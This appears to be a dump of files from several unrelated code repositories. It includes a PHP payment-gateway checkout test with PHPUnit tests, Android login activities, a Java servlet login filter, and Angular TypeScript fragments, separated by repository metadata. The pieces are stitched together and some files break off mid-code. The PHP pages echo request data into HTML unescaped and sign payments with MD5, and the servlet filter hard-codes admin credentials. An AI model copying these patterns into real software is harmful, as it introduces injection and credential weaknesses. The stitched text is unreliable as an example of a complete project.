# Payment Gateway [Pre-employement Test] - Green Packet
## Production
POST data into https://green-packet-umar-checkout.herokuapp.com
Example input:
- `amount`: Floating number 0.05 and above (eg.: 32.99).
- `merchantId`: Encrypted string from MD5 encryption - `MD5(merchantId+salt)` (eg.: f2e4aa62a1f79f1a43a1fcbb86e0ebf2).
- `reference`: Any unique string from the merchant (eg.: T19037)
## Unit Test
To run the test, type `./vendor/bin/phpunit test/**`
<file_sep>/pages/responseFailPage.php
<?php include("header.php"); ?>
<div class="col-sm-12">
<span class=""></span> <strong>Summary of Payment</strong>
<hr />
</div>
<div class="col-sm-4"><strong>Status</strong></div>
<div class="col-sm-8"><strong class="total"><?=$data['paymentStatus']; ?></strong></div>
<div class="col-sm-4"><strong>Billing Date</strong></div>
<div class="col-sm-8"><?=$data['billingDate']; ?></div>
<div class="col-sm-4"><strong>Bank Transaction No.</strong></div>
<div class="col-sm-8"><?=$data['bankReference']; ?></div>
<div class="col-sm-4"><strong>Reference No.</strong></div>
<div class="col-sm-8"><?=$data['reference']; ?></div>
<div class="col-sm-12">
<hr />
<h3>Sorry. We're unable to process your transaction.</h3>
<strong><?=$data['errorDesc']; ?></strong>
<p>If you have any questions, please let us know. We'll get back to you as soon as we can.</p>
<a href="!#"><EMAIL></a>
</div>
<div class="col-sm-12">
<hr />
<a class="btn btn-success" style="width: 100%;" href="#!">Back to Merchant</a>
<button class="btn btn-info" style="width: 100%;" href="#!" type="button" onclick="window.print();">Print</button>
</div>
<?php include("footer.php"); ?>
<file_sep>/assets/js/script.js
$('#cbxAuth').removeAttr('checked');
$('#btnProceed').attr('disabled', 'true');
$('#cbxAuth').click(function () {
if(!$('#cbxAuth').is(':checked')) {
$("#btnProceed").attr('disabled', 'true');
} else {
$("#btnProceed").removeAttr('disabled');
}
});
function secToTime(seconds) {
var hours = Math.floor(seconds / 3600);
var min = Math.floor((seconds - (hours * 3600)) / 60);
var seconds = Math.floor(seconds % 60);
return min + ':' + seconds;
}
var time = 420;
function timeOut() {
if (time <= 0) {
$("#formTimeOut").submit();
return;
}
time -= 1;
$("#timeOut").html(secToTime(time));
setTimeout("timeOut()", 1000);
}
timeOut();
<file_sep>/index.php
<?php
require("config/func.php");
// starts session.
session_start();
if (isset($_POST['pendingRequest']) && !empty($_POST['pendingRequest'])) {
$data = $_POST;
$data['billingDate'] = date("Y-m-d H:i:s");
$data['bankReference'] = 'T123123321321';
$data['bankAuth'] = '321456';
$data['currency'] = 'MYR';
$amount = str_replace(',', '', number_format($_POST['amount'], 2));
$amount = str_replace('.', '', $amount);
$addStatus = addTransactions($data);
// open response page.
if ($addStatus['status']) {
$data['paymentStatus'] = 'Success';
$data['errorDesc'] = '';
include('pages/responseSuccessPage.php');
} else {
$data['paymentStatus'] = 'Fail';
$data['errorDesc'] = $addStatus['desc'];
include('pages/responseFailPage.php');
}
} else if (isset($_POST['timeOutRequest']) && !empty($_POST['timeOutRequest'])) {
die("Transaction timeout");
} else {
// only allow request params related.
$allowedParams = array(
array('amount', true),
array('merchantId', true),
array('reference', true)
);
// filter for the related request params.
$errStats = false;
if (!empty($_POST)) {
foreach ($allowedParams as $val) {
if (!array_key_exists($val[0], $_POST)) {
$errStats = true;
break;
}
}
} else {
$errStats = true;
}
// set error if there are invalid params.
if ($errStats) {
die("Invalid request");
} else {
$data = $_POST;
$data['amount'] = is_numeric($_POST['amount']) && $_POST['amount'] > 0 ? number_format($_POST['amount'], 2) : 0.00;
// validation for amount
if ($_POST['amount'] <= 0) {
die("Invalid amount");
}
// validation for merchant Id (combination of id and salt in merchant's table)
if (isValidMerchant($_POST['merchantId']) == false) {
die("Invalid merchant Id");
}
$data['merchant'] = getMerchant($_POST['merchantId']);
// validation for reference
if (isReferenceExist($_POST['reference'])) {
die("Reference already paid");
}
$amount = str_replace(',', '', number_format($_POST['amount'], 2));
$amount = str_replace('.', '', $amount);
$data['signature'] = md5($amount.''.$_POST['merchantId'].''.$_POST['reference']);
// open request page.
include('pages/requestPage.php');
}
}
<file_sep>/test/001-test.php
<?php
use PHPUnit\Framework\TestCase;
require('vendor/autoload.php');
class RequestPayment extends PHPUnit_Framework_TestCase {
protected $client;
protected function setUp() {
$this->client = new GuzzleHttp\Client([
'base_uri' => 'https://green-packet-umar-checkout.herokuapp.com'
]);
}
public function testPost_InvalidInput_Amount() {
$response = $this->client->post('/', [
'form_params' => [
'amount' => 0,
'merchantId' => '<KEY>',
'reference' => 'T001'
]
]);
$this->assertEquals(200, $response->getStatusCode());
$response->getBody()->rewind();
$data = $response->getBody()->getContents();
$this->assertEquals('Invalid amount', $data);
}
public function testPost_InvalidInput_MerchantId() {
$response = $this->client->post('/', [
'form_params' => [
'amount' => 32.99,
'merchantId' => '<KEY>',
'reference' => 'T001'
]
]);
$this->assertEquals(200, $response->getStatusCode());
$response->getBody()->rewind();
$data = $response->getBody()->getContents();
$this->assertEquals('Invalid merchant Id', $data);
}
public function testPost_validInput_addTransactions() {
$amount = 32.99;
$amountCent = str_replace(',', '', $amount);
$amountCent = str_replace('.', '', $amount);
$merchantId = '<KEY>';
$randRefId = 'T'.rand(10000, 99999);
$response = $this->client->post('/', [
'form_params' => [
'paymentOption' => 'credit-card',
'name' => '<NAME>',
'credit-card-no' => '4283321412341234',
'cvc' => '999',
'month' => '10',
'year' => '2020',
'country' => 'MY',
'banks' => 'Maybank Berhad',
'cbxAuth' => 'on',
'amount' => $amount,
'merchantId' => $merchantId,
'reference' => $randRefId,
'signature' => md5($amountCent.''.$merchantId.''.$randRefId),
'pendingRequest' => 1,
'billingDate' => '2018-10-29 15:24:58',
'bankReference' => 'T123123321321',
'bankAuth' => '321456',
'currency' => 'MYR'
]
]);
$this->assertEquals(200, $response->getStatusCode());
$response->getBody()->rewind();
$data = $response->getBody()->getContents();
$loc = strpos($data, '<h3>Thank you for your business.</h3>');
$this->assertEquals(true, $loc);
}
public function testPost_invalidInput_addTransactions() {
$amount = 32.99;
$amountCent = str_replace(',', '', $amount);
$amountCent = str_replace('.', '', $amount);
$merchantId = 'f<KEY>';
$randRefId = 'T'.rand(10000, 99999);
$response = $this->client->post('/', [
'form_params' => [
'paymentOption' => 'credit-card',
'name' => '<NAME>',
'credit-card-no' => '4283321412341234',
'cvc' => '999',
'month' => '10',
'year' => '2020',
'country' => 'MY',
'banks' => 'Maybank Berhad',
'cbxAuth' => 'on',
'amount' => $amount,
'merchantId' => $merchantId,
'reference' => $randRefId,
'signature' => md5($amountCent.''.$merchantId.''.$randRefId),
'pendingRequest' => 1,
'billingDate' => '2018-10-29 15:24:58',
'bankReference' => 'T123123321321',
'bankAuth' => '321456',
'currency' => 'MYR'
]
]);
$response = $this->client->post('/', [
'form_params' => [
'paymentOption' => 'credit-card',
'name' => '<NAME>',
'credit-card-no' => '4283321412341234',
'cvc' => '999',
'month' => '10',
'year' => '2020',
'country' => 'MY',
'banks' => 'Maybank Berhad',
'cbxAuth' => 'on',
'amount' => $amount,
'merchantId' => $merchantId,
'reference' => $randRefId,
'signature' => md5($amountCent.''.$merchantId.''.$randRefId),
'pendingRequest' => 1,
'billingDate' => '2018-10-29 15:24:58',
'bankReference' => 'T123123321321',
'bankAuth' => '321456',
'currency' => 'MYR'
]
]);
$this->assertEquals(200, $response->getStatusCode());
$response->getBody()->rewind();
$data = $response->getBody()->getContents();
$loc = strpos($data, '<h3>Thank you for your business.</h3>');
$this->assertEquals(false, $loc);
}
}
|
f5ac4598ee2b503494dce81644d3cde52759c617
|
[
"Markdown",
"JavaScript",
"PHP"
] | 9
|
PHP
|
umaqgeek/green-packet-umar-checkout
|
65b68ac83c04d9a835e7713d95ead8faa644b850
|
245c81dba6a6131c174fea61e8996d376b103ef3
|
refs/heads/master
|
<repo_name>Anuva07/Hire_Driver<file_sep>/app/src/main/java/com/example/asus/hire_driver/OwnerLogin.java
package com.example.asus.hire_driver;
import android.content.Intent;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.PopupWindow;
import android.widget.RelativeLayout;
public class OwnerLogin extends AppCompatActivity {
private Button btnprev, btndone;
private PopupWindow popupWindow;
private LayoutInflater layoutInflater;
private RelativeLayout relativeLayout;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_owner_login);
btndone = (Button) findViewById(R.id.btndone_own);
relativeLayout = (RelativeLayout) findViewById(R.id.relative_own);
btndone.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
layoutInflater = (LayoutInflater) getApplicationContext().getSystemService(LAYOUT_INFLATER_SERVICE);
ViewGroup container = (ViewGroup) layoutInflater.inflate(R.layout.own_pop,null);
popupWindow = new PopupWindow(container,800,400,true);
popupWindow.showAtLocation(relativeLayout, Gravity.NO_GRAVITY,200,1300);
container.setOnTouchListener(new View.OnTouchListener() {
@Override
public boolean onTouch(View view, MotionEvent motionEvent) {
popupWindow.dismiss();
return true;
}
});
}
});
}
}
<file_sep>/app/src/main/java/com/example/asus/hire_driver/MemberLogin.java
package com.example.asus.hire_driver;
import android.app.ProgressDialog;
import android.content.Intent;
import android.os.Handler;
import android.support.annotation.NonNull;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.text.TextUtils;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.RelativeLayout;
import android.widget.Toast;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.Task;
import com.google.firebase.auth.AuthResult;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.auth.FirebaseUser;
public class MemberLogin extends AppCompatActivity {
private Button btnloginmem;
private FirebaseAuth firebaseAuth;
private ProgressDialog progressDialog;
private EditText usrname, usrpass;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_member_login);
btnloginmem = (Button) findViewById(R.id.btnlogin_mem);
usrpass = (EditText) findViewById(R.id.passwrdtxt);
usrname = (EditText) findViewById(R.id.usrnametxt);
progressDialog = new ProgressDialog(this);
firebaseAuth = FirebaseAuth.getInstance();
btnloginmem.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
loginuser();
final Handler handler = new Handler();
handler.postDelayed(new Runnable() {
@Override
public void run() {
openAddPage();
}
},5000);
}
});
}
public void loginuser(){
String email = usrname.getText().toString().trim();
String passwrd = usrpass.getText().toString().trim();
if(TextUtils.isEmpty(email)){
Toast.makeText(this, "Please enter Email",Toast.LENGTH_SHORT).show();
return;
}
if(TextUtils.isEmpty(passwrd)){
Toast.makeText(this, "Please enter Password",Toast.LENGTH_SHORT).show();
return;
}
progressDialog.setMessage("Registeing User...");
progressDialog.show();
firebaseAuth.signInWithEmailAndPassword(email, passwrd)
.addOnCompleteListener(this, new OnCompleteListener<AuthResult>() {
@Override
public void onComplete(@NonNull Task<AuthResult> task) {
if(task.isSuccessful()){
FirebaseUser user = firebaseAuth.getCurrentUser();
Toast.makeText(MemberLogin.this, "Login Successful", Toast.LENGTH_SHORT).show();
progressDialog.dismiss();
}
else
{
Toast.makeText(MemberLogin.this, "Please try again", Toast.LENGTH_SHORT).show();
progressDialog.dismiss();
}
}
});
}
public void openAddPage(){
Intent intent = new Intent(this, AddPage.class);
startActivity(intent);
}
}
|
f59083a3cfb0c8558a68ea14625150469eb913d8
|
[
"Java"
] | 2
|
Java
|
Anuva07/Hire_Driver
|
44e1d6fc1e7cdd3040119c54ebb80963058b97aa
|
4b0c5a647adf3bd15f8b473ccd932f0ae1399d33
|
refs/heads/master
|
<file_sep>## Treehouse
This repo is for all my course files completed through teamtreehouse.com
You can see my Treehouse profile [here](https://teamtreehouse.com/shaybromer)

<file_sep><?php
define("YEAR", 2014);
define("JOB_TITLE", "Teacher");
define("MAX_BADGES", 1500000);
//invalid constant name
define("2LEGIT", "to quit");
// This is my first name
$name = "Shay";
$location = "Orlando, FL";
$full_name = "<NAME>";
$name = $full_name;
$social_icons = array('twitter', 'instagram', 'google');
?>
<!DOCTYPE html>
<html>
<head>
<meta charset=utf-8>
<title><?php echo $name ?>| Treehouse Profile</title>
<link href="css/style.css" rel="stylesheet" />
</head>
<body>
<section class="sidebar text-center">
<div class="avatar">
<img src="img/avatar.png" alt="<?php echo $name ?>">
</div>
<h1><?php echo $name ?></h1>
<p><?php echo $location ?></p>
<hr />
<p>Welcome to PHP Basics!</p>
<hr />
<ul class="social">
<?php
foreach($social_icons as $icon){
?>
<li><a href=""><span class="icon <?php echo $icon ?>"></span></a></li>
<?php
}
?>
</ul>
</section>
<section class="main">
<ul>
<?php
for ($counter=0; $counter < 10; $counter++) {
echo "<li>" . $counter . "</li>";
}
?>
</ul>
<!--<p>Let's Get Started!</p>
<p><?php echo "Hello World!" ?></p>-->
</section>
</body>
</html>
|
34d0e8c365dd9a40ec51db23d30c4e64cae86897
|
[
"Markdown",
"PHP"
] | 2
|
Markdown
|
shaybromer28/Treehouse
|
d0330f113c4fba55fb6a1844bf217d8523e425f7
|
df7751a13fce72677d1a1bc1b607e7e106fba7f4
|
refs/heads/master
|
<file_sep>import random
pieces = [
"grasshopper", "grasshopper", "grasshopper",
"ant", "ant", "ant",
"fly", "fly", "fly",
"wasp", "wasp", "wasp",
"beetle", "beetle",
"spider", "spider",
"scorpion", "scorpion",
"ladybug",
"roach",
"mosquito",
"firefly",
"pillbug",
"centipede"
]
random.shuffle(pieces)
out = {}
for piece in pieces[:11]:
out[piece] = out.get(piece,0)+1
for key,num in sorted(out.items()):
print "%sx%s"%(num,key)
<file_sep>Hive
====
A collection of hive pieces and variants for making your own on a laser cutter
|
7b864c18c707a1adaee8379ee742e3a6ef76a18f
|
[
"Markdown",
"Python"
] | 2
|
Python
|
chriscauley/hive
|
90ce8cc8f4aa49f9d78b03357441e2d33aa75b5a
|
afcc42ed0c8837c62b85dd14314943ca63932576
|
refs/heads/master
|
<file_sep>names = "My name is <NAME>"
for name in names.split():
print(name)
<file_sep>import pyowm
location = input("Enter your location: ")
def weather(location):
owm = pyowm.OWM('911f5d4e3775dd19dad4fe18c959af1a')
observation = owm.weather_at_place(location)
w = observation.get_weather()
w.get_wind()
w.get_humidity()
return w.get_temperature()
print(weather(location))
<file_sep>for i in range(1,11):
print(i)
print("\n Next one")
for j in [1,2,3]:
print(j)
print("\n Next one")
for j in [0,2,4,6,8,10,12,14,16,18]:
print(j)
print("\n Next one")
def star():
a = 1
while a <5:
print("****")
a += 1
star()
def star():
for i in range(0, 3):
for j in range(0, i+1):
print("*", end= "")
print()
for i in reversed(range(0,4)):
for j in range(0,i+1):
print("*",end="")
print()
star()
print("NOTE")
[x * 10 if x % 2 == 0 else 0 for x in reversed(range(0, 9))]
<file_sep>from gpiozero import LED, Button
from time import sleep
from signal import pause
red = LED(17)
green = LED(14)
yellow = LED(15)
button = Button(18)
while True:
red.on()
sleep(1)
red.off()
green.on()
sleep(1)
green.off()
yellow.on()
sleep(1)
yellow.off()
<file_sep>from functools import reduce
word =["Micheal", "Bright", "Joseph"]
def jkm(m):
return reduce(lambda a ,y: a + ')' + y ,m)
print(jkm(word))<file_sep>list = []
list.append(input("Input any string "))
print(list)
# f = [x if x % 2 == 0 else print(''.join(map(str,""))) for x in range(a, b)]
#f = [x if x % 2 == 0 else 0 for x in range(a, b)]
#print(f)
def get_evens(a,b):
even_numbers = []
print("the maximum number is ",max(a, b))
print("The minimum number is ",min(a, b))
for x in range(a,b):
if x % 2 == 0:
even_numbers.append(x)
return even_numbers
print(get_evens(int(input("Enter a number: ")),int(input("Enter another number: "))))
print(get_evens(1, 10))
result = get_evens(15, 30)
print(result)
<file_sep>r = input("Enter your radius ")
answer = 4 * 3.142 * ( r * r )
print('The surface area is : ' , answer)
<file_sep>def partition():
a = int(input("Input a number: "))
if a % 2 ==0:
print("(",a,", none )")
else:
print("(none,",a,")")
partition()
def jkm():
b = []
v = []
s = int(input("Input a number: "))
a = int(input("Input a number: "))
for q in range(s, a):
if q % 2 ==0:
b.append(q)
else:
v.append(q)
print(b)
print(v)
jkm()<file_sep>i = 6
while(i < 19):
i = i + 1
print (i)
print("Even numbers")
i = 12
while(i < 20):
i = i + 2
print (i)
print("All even numbers")
def is_even_num(l):
enum = []
for n in l:
if n % 2 == 0:
enum.append(n)
return enum
print(is_even_num([1, 2, 3, 4, 5, 6, 7, 8, 9]))
for i in reversed(range(0,20)):
print(i)
def Reverse_Integer(Number):
Reverse = 0
while(Number > 0):
Reminder = Number %10
Reverse = (Reverse *10) + Reminder
Number = Number //10
return Reverse
Number = int(input("Please Enter any Number: "))
Reverse = Reverse_Integer(Number)
print("\n Reverse of entered number is = %d" %Reverse)
a= ["Jow","uui"]
a.insert(6,"jkm")
print(a)
<file_sep>from functools import reduce
words = ["Hello", "Word"]
def string(strings):
return reduce(lambda x,y: x + ' ' + y,strings)
print(string(words))<file_sep>def is_even():
numbers = [1,56,234,87,4,76,24,69,90,135]
isEven = []
for a in numbers:
if a %2 == 0:
isEven.append(a)
print(isEven)
is_even()
numbers = [1,56,234,87,4,76,24,69,90,135]
lambda a: a%2 ==0
a =filter(lambda a: a%2 ==0,numbers)
print(list(a))
<file_sep>def noVowel(s):
'return True if string s contains no vowel, False otherwise'
for char in s:
if char.lower() in 'a':
return True
return False
print(noVowel(input("Enter: ")))
print("This is for two letters\n")
def noVowel(s):
'return True if string s contains no vowel, False otherwise'
for char in s:
if char.lower() in ('s' and 'k'):
return True
return False
def jkm():
jkm.function(noVowel)
print(noVowel(input("Enter: ")))
jkm()<file_sep>def is_odd():
numbers = [1,56,234,87,4,76,24,69,90,135]
isOdd = []
for a in numbers:
if not(a %2 == 0):
isOdd.append(a)
print(isOdd)
is_odd()<file_sep>numbers = [34.6, -203.4, 44.9, 68.3, -12.2, 44.6, 12.7]
#a=[even.append(x) if x %2==0 for x in numbers]
b = [even for even in numbers if even > 0]
print(b)
numbers = [12, 54, 33, 67, 24, 89, 11, 24, 47]
#a=[even.append(x) if x %2==0 for x in numbers]
b = [even for even in numbers if even % 2 == 0]
print(b)
words = ["hello", "my", "name", "is", "Sam"]
#a=[even.append(x) if x %2==0 for x in numbers]
b = [(word, len(word)) for word in words]
#print(len(b).upper())
print(b)
<file_sep>even = int(input("Enter a number: "))
def is_even(a):
if a%2 == 0:
return True
else:
return False
numbers = [1,56,234,87,4,76,24,69,90,135]
isEven = []
for a in numbers:
if a %2 == 0:
isEven.append(a)
print(is_even(even))
print("\t\tlist")<file_sep>a = "My name is <NAME>"
s = "And i live in Accra"
print(a + " " + s)
print(a,s)
<file_sep>from flask import Flask
app = Flask(__name__)
def index():
return 'hello world'
if __name__ == '__main__':
app.run(debug=True, host = '127.0.0.1')
@app.route('/whereami')
def whereami():
return 'Ghana:'<file_sep>def get_age():
age = int(input("Enter your age "))
return age
def get_name():
name = input("Enter your name ")
return name
print(get_name())
print(get_age())
|
e35382c2e9370c1b3020f1463ab072b3a48c0b53
|
[
"Python"
] | 18
|
Python
|
cupux/python-tasks
|
450bf6981fe2b3161f38bb22d584a6d5b30441c1
|
c5a58c5bbfc2ccb29d1ca04163f706104cff0963
|
refs/heads/master
|
<repo_name>machew333/OverAchiever<file_sep>/app/src/main/java/com/trill/overachiever/LoginActivity.java
package com.trill.overachiever;
import android.app.Activity;
import android.content.Intent;
import android.content.IntentSender;
import android.content.SharedPreferences;
import android.preference.PreferenceManager;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import com.google.android.gms.common.ConnectionResult;
import com.google.android.gms.common.Scopes;
import com.google.android.gms.common.api.GoogleApiClient;
import com.google.android.gms.common.api.Scope;
import com.google.android.gms.plus.Plus;
import org.w3c.dom.Text;
public class LoginActivity extends Activity implements View.OnClickListener, GoogleApiClient.ConnectionCallbacks, GoogleApiClient.OnConnectionFailedListener {
private String TAG = "HepMe";
private static final int RC_SIGN_IN = 0;
private GoogleApiClient mGoogleApiClient;
/* Is there a ConnectionResult resolution in progress? */
private boolean mIsResolving = false;
/* Should we automatically resolve ConnectionResults when possible? */
private boolean mShouldResolve = false;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_login);
Button btnSkip = (Button) findViewById(R.id.btnSkip);
btnSkip.setOnClickListener(this);
mGoogleApiClient = new GoogleApiClient.Builder(this)
.addConnectionCallbacks(this)
.addOnConnectionFailedListener(this)
.addApi(Plus.API)
.addScope(new Scope(Scopes.PROFILE))
.build();
findViewById(R.id.sign_in_button).setOnClickListener(this);
}
@Override
public void onConnectionFailed(ConnectionResult connectionResult) {
// Could not connect to Google Play Services. The user needs to select an account,
// grant permissions or resolve an error in order to sign in. Refer to the javadoc for
// ConnectionResult to see possible error codes.
Log.d(TAG, "onConnectionFailed:" + connectionResult);
if (!mIsResolving && mShouldResolve) {
if (connectionResult.hasResolution()) {
try {
connectionResult.startResolutionForResult(this, RC_SIGN_IN);
mIsResolving = true;
} catch (IntentSender.SendIntentException e) {
Log.e(TAG, "Could not resolve ConnectionResult.", e);
mIsResolving = false;
mGoogleApiClient.connect();
}
} else {
// Could not resolve the connection result, show the user an
// error dialog.
showErrorDialog(connectionResult);
}
} else {
// Show the signed-out UI
}
}
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.sign_in_button:
onSignInClicked();
break;
case R.id.btnSkip:
Log.d(TAG,"skip");
Intent intent1 = new Intent(getApplicationContext(),MainActivity.class);
startActivity(intent1);
break;
}
if (v.getId() == R.id.sign_in_button) {
onSignInClicked();
}
// ...
}
private void onSignInClicked() {
// User clicked the sign-in button, so begin the sign-in process and automatically
// attempt to resolve any errors that occur.
mShouldResolve = true;
mGoogleApiClient.connect();
// Show a message to the user that we are signing in.
TextView mStatusTextView = (TextView) findViewById(R.id.mStatusTextView);
mStatusTextView.setText(R.string.signing_in);
}
@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
Log.d(TAG, "onActivityResult:" + requestCode + ":" + resultCode + ":" + data);
if (requestCode == RC_SIGN_IN) {
// If the error resolution was not successful we should not resolve further.
if (resultCode != RESULT_OK) {
mShouldResolve = false;
}
mIsResolving = false;
mGoogleApiClient.connect();
}
}
@Override
public void onConnected(Bundle bundle) {
// onConnected indicates that an account was selected on the device, that the selected
// account has granted any requested permissions to our app and that we were able to
// establish a service connection to Google Play services.
Log.d(TAG, "onConnected:" + bundle);
SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(this);
if(!prefs.getBoolean("Logged in", false)) {
//do stuff
SharedPreferences.Editor editor = prefs.edit();
editor.putBoolean("Logged in", true);
editor.commit();
}
mShouldResolve = false;
// Show the signed-in UI
Intent intent = new Intent(this,MainActivity.class);
startActivity(intent);
}
@Override
public void onConnectionSuspended(int i) {
}
public void showErrorDialog(ConnectionResult connectionResult) {
TextView tvError = (TextView) findViewById(R.id.tvError);
tvError.setText(""+connectionResult);
tvError.setVisibility(View.VISIBLE);
}
@Override
protected void onStart() {
super.onStart();
mGoogleApiClient.connect();
}
@Override
protected void onStop() {
super.onStop();
mGoogleApiClient.disconnect();
}
}
<file_sep>/app/src/main/java/com/CourseAdapter.java
package com;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.TextView;
import com.trill.overachiever.Course;
import com.trill.overachiever.NewAssignment;
import com.trill.overachiever.R;
import java.util.ArrayList;
public class CourseAdapter extends ArrayAdapter<Course> {
Context context;
int layoutResourceId;
ArrayList<Course> data = null;
private int randomID1;
private int randomID2;
private int randomID3;
private int randomID4;
private int randomID5;
private String TAG = "HepMe";
private static final int REQUEST_NEW_ASS = 9;
public CourseAdapter(Context context, int resource) {
super(context, resource);
}
}<file_sep>/app/src/main/java/com/trill/overachiever/FixGradeFragment.java
package com.trill.overachiever;
import android.app.AlertDialog;
import android.app.Dialog;
import android.app.DialogFragment;
import android.content.DialogInterface;
import android.content.Intent;
import android.support.v4.app.Fragment;
import android.os.Bundle;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Toast;
import android.content.Context;
import java.util.ArrayList;
public class FixGradeFragment extends DialogFragment {
private String TAG = "HepMe";
ArrayList<Course> courses = MainActivity.getCourseList();
int index = MainActivity.getPosition();
Course clickedCourse = courses.get(index);
boolean needHelp = clickedCourse.needHelp;
String title = clickedCourse.title;
float grade = clickedCourse.grade;
float desiredGrade = clickedCourse.desiredGrade;
int standardFix = clickedCourse.getStandardFix();
int ecFix = clickedCourse.getEcFix();
private String courseTitle = "" + title ;
private String line1;
private String line2;
private String line3;
private String line4;
private String line4a;
private String line5;
private String line5a;
private String line6;
private String line7;
public Dialog onCreateDialog(Bundle savedInstanceState) {
String roundedGrade =String.format("%.2f", grade);
String roundedDzGrade = String.format("%.2f",desiredGrade);
line1 = "Current Grade: " + roundedGrade;
line2 = "\nDesired Grade: " +roundedDzGrade;
line3 ="\n";
line4 ="\nYou need:";
line4a ="\n";
line5 = "\n";
line5a ="You're in the clear.";
line6= "\nNext " +standardFix +" out of " + standardFix +" points";
line7 = "\nOr " + ecFix + " extra credit pts";
if (needHelp) {
AlertDialog.Builder alerDialogBuilder = new AlertDialog.Builder(getActivity()).setTitle(courseTitle)
.setMessage(line1+line2+line3+line4+line5+line6+line7).setPositiveButton("Okay", listener);
return alerDialogBuilder.create();
}
else {
AlertDialog.Builder alerDialogBuilder = new AlertDialog.Builder(getActivity()).setTitle(courseTitle)
.setMessage(line1+line2+line3+line4a+line5a).setPositiveButton("Okay", listener);
return alerDialogBuilder.create();
}
}
DialogInterface.OnClickListener listener = new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
}
};
}
<file_sep>/README.md
Copyright 2016 <NAME>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
This is an Android App that I developed listed as Grade Fix in the Google Play Store.
It has a UI to allow users to input courses and assignments. The main cool thing about it is that it calculates how many points
they need to get up to a certain grade that they want. There is no current support for weighted gradings.
It is a very messy project because I'm still quite inexperienced but if you are looking to learn Android programming, there
might be some useful stuff. Any feedback is welcome. <EMAIL>
|
4af7f5a8ed994df5c3d79ddbd6f94d73ec6bc6b3
|
[
"Markdown",
"Java"
] | 4
|
Java
|
machew333/OverAchiever
|
7b457aed53ea645eb324c1d6af7718f430a03e87
|
ab5e62bae73f5d97aeefaf47c1e8fb6e579554a7
|
refs/heads/master
|
<file_sep>package ecole;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebFilter;
/**
* Servlet Filter implementation class FtConnexion
*/
@WebFilter("/FtConnexion")
public class FtConnexion implements Filter {
/**
* Default constructor.
*/
public FtConnexion() {
// TODO Auto-generated constructor stub
}
/**
* @see Filter#destroy()
*/
public void destroy() {
// TODO Auto-generated method stub
}
/**
* @see Filter#doFilter(ServletRequest, ServletResponse, FilterChain)
*/
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
// TODO Auto-generated method stub
// place your code here
PrintWriter out =response.getWriter();
String logine1=request.getParameter("login");
String pass1=request.getParameter("pass");
String logine="admin";
String pass="<PASSWORD>";
if(logine1.contentEquals(logine) && pass1.contentEquals(pass)) {
chain.doFilter(request, response);
}else {
out.println("les donnes saisie sont incorecte ");
}
// pass the request along the filter chain
}
/**
* @see Filter#init(FilterConfig)
*/
public void init(FilterConfig fConfig) throws ServletException {
// TODO Auto-generated method stub
}
}
<file_sep>package ecole;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class Administrateur extends HttpServlet{
@Override
protected void service(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out=response.getWriter();
out.println("<HTML>");
out.println("<body>");
out.println("<h1>Bienvenu</h1>");
out.println("</body>");
out.println("</HTML>");
}
}
|
477a39dcb17b90191b4b116aaf2a389e13e91ba5
|
[
"Java"
] | 2
|
Java
|
lotentique/projetJEE
|
d8e6a7d1aa644f8bd75963f48efc924fcc94a19b
|
6bd0311c65de6473f5e78e180585f484eddcefe2
|
refs/heads/master
|
<repo_name>mhernandeza/widget-front-end<file_sep>/app/tweet.ts
export class Tweet{
text: string;
creationDate: Date;
id: number;
authorName: string;
profileImage: string;
screenName: string;
constructor(text: string, creationDate:Date, id?:number, authorName?: string, profileImage?: string, screenName?: string ){
//Parameters followed by ? are optional.
this.text = text;
this.creationDate = creationDate;
this.id = id;
this.authorName = authorName;
this.profileImage = profileImage;
this.screenName = screenName;
}
}<file_sep>/app/body.component.ts
import { Component, Input } from '@angular/core';
import { Tweet } from './tweet';
@Component({
moduleId: module.id,
selector: 'my-body',
templateUrl: './html/body.template.html',
styleUrls: ['./css/body.style.css']
})
export class BodyComponent{
@Input() tweet: Tweet;
